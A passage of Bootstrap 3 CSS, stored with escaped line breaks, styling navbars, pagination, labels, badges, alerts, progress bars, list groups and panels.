inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control-static {\n    display: inline-block;\n  }\n  .navbar-form .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .navbar-form .input-group .input-group-addon,\n  .navbar-form .input-group .input-group-btn,\n  .navbar-form .input-group .form-control {\n    width: auto;\n  }\n  .navbar-form .input-group > .form-control {\n    width: 100%;\n  }\n  .navbar-form .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio,\n  .navbar-form .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio label,\n  .navbar-form .checkbox label {\n    padding-left: 0;\n  }\n  .navbar-form .radio input[type=\"radio\"],\n  .navbar-form .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .navbar-form .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n@media (max-width: 767px) {\n  .navbar-form .form-group {\n    margin-bottom: 5px;\n  }\n  .navbar-form .form-group:last-child {\n    margin-bottom: 0;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-form {\n    width: auto;\n    padding-top: 0;\n    padding-bottom: 0;\n    margin-right: 0;\n    margin-left: 0;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n}\n.navbar-nav > li > .dropdown-menu {\n  margin-top: 0;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n  margin-bottom: 0;\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.navbar-btn {\n  margin-top: 8px;\n  margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n  margin-top: 14px;\n  margin-bottom: 14px;\n}\n.navbar-text {\n  margin-top: 15px;\n  margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n  .navbar-text {\n    float: left;\n    margin-right: 15px;\n    margin-left: 15px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-left {\n    float: left !important;\n  }\n  .navbar-right {\n    float: right !important;\n    margin-right: -15px;\n  }\n  .navbar-right ~ .navbar-right {\n    margin-right: 0;\n  }\n}\n.navbar-default {\n  background-color: #f8f8f8;\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n  color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n  color: #5e5e5e;\n  background-color: transparent;\n}\n.navbar-default .navbar-text {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n  color: #333;\n  background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n  color: #ccc;\n  background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n  border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n  background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n  background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n@media (max-width: 767px) {\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n    color: #777;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #333;\n    background-color: transparent;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #555;\n    background-color: #e7e7e7;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #ccc;\n    background-color: transparent;\n  }\n}\n.navbar-default .navbar-link {\n  color: #777;\n}\n.navbar-default .navbar-link:hover {\n  color: #333;\n}\n.navbar-default .btn-link {\n  color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n  color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n  color: #ccc;\n}\n.navbar-inverse {\n  background-color: #222;\n  border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n  color: #444;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n  border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n  background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n  background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n  border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n@media (max-width: 767px) {\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n    border-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n    color: #9d9d9d;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #fff;\n    background-color: transparent;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #fff;\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #444;\n    background-color: transparent;\n  }\n}\n.navbar-inverse .navbar-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n  color: #fff;\n}\n.navbar-inverse .btn-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n  color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n  color: #444;\n}\n.breadcrumb {\n  padding: 8px 15px;\n  margin-bottom: 20px;\n  list-style: none;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n}\n.breadcrumb > li {\n  display: inline-block;\n}\n.breadcrumb > li + li:before {\n  padding: 0 5px;\n  color: #ccc;\n  content: \"/\\00a0\";\n}\n.breadcrumb > .active {\n  color: #777;\n}\n.pagination {\n  display: inline-block;\n  padding-left: 0;\n  margin: 20px 0;\n  border-radius: 4px;\n}\n.pagination > li {\n  display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n  position: relative;\n  float: left;\n  padding: 6px 12px;\n  margin-left: -1px;\n  line-height: 1.42857143;\n  color: #337ab7;\n  text-decoration: none;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n  margin-left: 0;\n  border-top-left-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n  color: #23527c;\n  background-color: #eee;\n  border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n  z-index: 2;\n  color: #fff;\n  cursor: default;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n  border-color: #ddd;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n  padding: 10px 16px;\n  font-size: 18px;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n  border-top-left-radius: 6px;\n  border-bottom-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n  border-top-right-radius: 6px;\n  border-bottom-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n  padding: 5px 10px;\n  font-size: 12px;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n  border-top-left-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n  border-top-right-radius: 3px;\n  border-bottom-right-radius: 3px;\n}\n.pager {\n  padding-left: 0;\n  margin: 20px 0;\n  text-align: center;\n  list-style: none;\n}\n.pager li {\n  display: inline;\n}\n.pager li > a,\n.pager li > span {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.pager .next > a,\n.pager .next > span {\n  float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n  float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n}\n.label {\n  display: inline;\n  padding: .2em .6em .3em;\n  font-size: 75%;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.label:empty {\n  display: none;\n}\n.btn .label {\n  position: relative;\n  top: -1px;\n}\n.label-default {\n  background-color: #777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n  background-color: #5e5e5e;\n}\n.label-primary {\n  background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n  background-color: #286090;\n}\n.label-success {\n  background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n  background-color: #449d44;\n}\n.label-info {\n  background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n  background-color: #31b0d5;\n}\n.label-warning {\n  background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n  background-color: #ec971f;\n}\n.label-danger {\n  background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n  background-color: #c9302c;\n}\n.badge {\n  display: inline-block;\n  min-width: 10px;\n  padding: 3px 7px;\n  font-size: 12px;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  background-color: #777;\n  border-radius: 10px;\n}\n.badge:empty {\n  display: none;\n}\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n  top: 0;\n  padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.list-group-item > .badge {\n  float: right;\n}\n.list-group-item > .badge + .badge {\n  margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n  margin-left: 3px;\n}\n.jumbotron {\n  padding: 30px 15px;\n  margin-bottom: 30px;\n  color: inherit;\n  background-color: #eee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n  color: inherit;\n}\n.jumbotron p {\n  margin-bottom: 15px;\n  font-size: 21px;\n  font-weight: 200;\n}\n.jumbotron > hr {\n  border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n  border-radius: 6px;\n}\n.jumbotron .container {\n  max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n  .jumbotron {\n    padding: 48px 0;\n  }\n  .container .jumbotron,\n  .container-fluid .jumbotron {\n    padding-right: 60px;\n    padding-left: 60px;\n  }\n  .jumbotron h1,\n  .jumbotron .h1 {\n    font-size: 63px;\n  }\n}\n.thumbnail {\n  display: block;\n  padding: 4px;\n  margin-bottom: 20px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: border .2s ease-in-out;\n       -o-transition: border .2s ease-in-out;\n          transition: border .2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n  margin-right: auto;\n  margin-left: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n  border-color: #337ab7;\n}\n.thumbnail .caption {\n  padding: 9px;\n  color: #333;\n}\n.alert {\n  padding: 15px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.alert h4 {\n  margin-top: 0;\n  color: inherit;\n}\n.alert .alert-link {\n  font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n  margin-bottom: 0;\n}\n.alert > p + p {\n  margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n  padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  color: inherit;\n}\n.alert-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.alert-success hr {\n  border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n  color: #2b542c;\n}\n.alert-info {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.alert-info hr {\n  border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n  color: #245269;\n}\n.alert-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.alert-warning hr {\n  border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n  color: #66512c;\n}\n.alert-danger {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.alert-danger hr {\n  border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n  color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n.progress {\n  height: 20px;\n  margin-bottom: 20px;\n  overflow: hidden;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n}\n.progress-bar {\n  float: left;\n  width: 0;\n  height: 100%;\n  font-size: 12px;\n  line-height: 20px;\n  color: #fff;\n  text-align: center;\n  background-color: #337ab7;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n  -webkit-transition: width .6s ease;\n       -o-transition: width .6s ease;\n          transition: width .6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n          background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n       -o-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n  background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n  background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n  background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n  background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.media {\n  margin-top: 15px;\n}\n.media:first-child {\n  margin-top: 0;\n}\n.media,\n.media-body {\n  overflow: hidden;\n  zoom: 1;\n}\n.media-body {\n  width: 10000px;\n}\n.media-object {\n  display: block;\n}\n.media-right,\n.media > .pull-right {\n  padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n  padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n  display: table-cell;\n  vertical-align: top;\n}\n.media-middle {\n  vertical-align: middle;\n}\n.media-bottom {\n  vertical-align: bottom;\n}\n.media-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.media-list {\n  padding-left: 0;\n  list-style: none;\n}\n.list-group {\n  padding-left: 0;\n  margin-bottom: 20px;\n}\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n}\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\na.list-group-item {\n  color: #555;\n}\na.list-group-item .list-group-item-heading {\n  color: #333;\n}\na.list-group-item:hover,\na.list-group-item:focus {\n  color: #555;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #eee;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n  color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n  color: #777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n  z-index: 2;\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n  color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n  color: #c7ddef;\n}\n.list-group-item-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n}\na.list-group-item-success {\n  color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-success:hover,\na.list-group-item-success:focus {\n  color: #3c763d;\n  background-color: #d0e9c6;\n}\na.list-group-item-success.active,\na.list-group-item-success.active:hover,\na.list-group-item-success.active:focus {\n  color: #fff;\n  background-color: #3c763d;\n  border-color: #3c763d;\n}\n.list-group-item-info {\n  color: #31708f;\n  background-color: #d9edf7;\n}\na.list-group-item-info {\n  color: #31708f;\n}\na.list-group-item-info .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-info:hover,\na.list-group-item-info:focus {\n  color: #31708f;\n  background-color: #c4e3f3;\n}\na.list-group-item-info.active,\na.list-group-item-info.active:hover,\na.list-group-item-info.active:focus {\n  color: #fff;\n  background-color: #31708f;\n  border-color: #31708f;\n}\n.list-group-item-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n}\na.list-group-item-warning {\n  color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-warning:hover,\na.list-group-item-warning:focus {\n  color: #8a6d3b;\n  background-color: #faf2cc;\n}\na.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus {\n  color: #fff;\n  background-color: #8a6d3b;\n  border-color: #8a6d3b;\n}\n.list-group-item-danger {\n  color: #a94442;\n  background-color: #f2dede;\n}\na.list-group-item-danger {\n  color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-danger:hover,\na.list-group-item-danger:focus {\n  color: #a94442;\n  background-color: #ebcccc;\n}\na.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus {\n  color: #fff;\n  background-color: #a94442;\n  border-color: #a94442;\n}\n.list-group-item-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.list-group-item-text {\n  margin-bottom: 0;\n  line-height: 1.3;\n}\n.panel {\n  margin-bottom: 20px;\n  background-color: #fff;\n  border: 1px solid transparent;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n}\n.panel-body {\n  padding: 15px;\n}\n.panel-heading {\n  padding: 10px 15px;\n  border-bottom: 1px solid transparent;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n  color: inherit;\n}\n.panel-title {\n  margin-top: 0;\n  margin-bottom: 0;\n  font-size: 16px;\n  color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n  color: inherit;\n}\n.panel-footer {\n  padding: 10px 15px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n  margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n  border-width: 1px 0;\n  border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n  border-top: 0;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n  border-bottom: 0;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n  border-top-width: 0;\n}\n.list-group + .panel-footer {\n  border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n  margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n  border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n  border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > 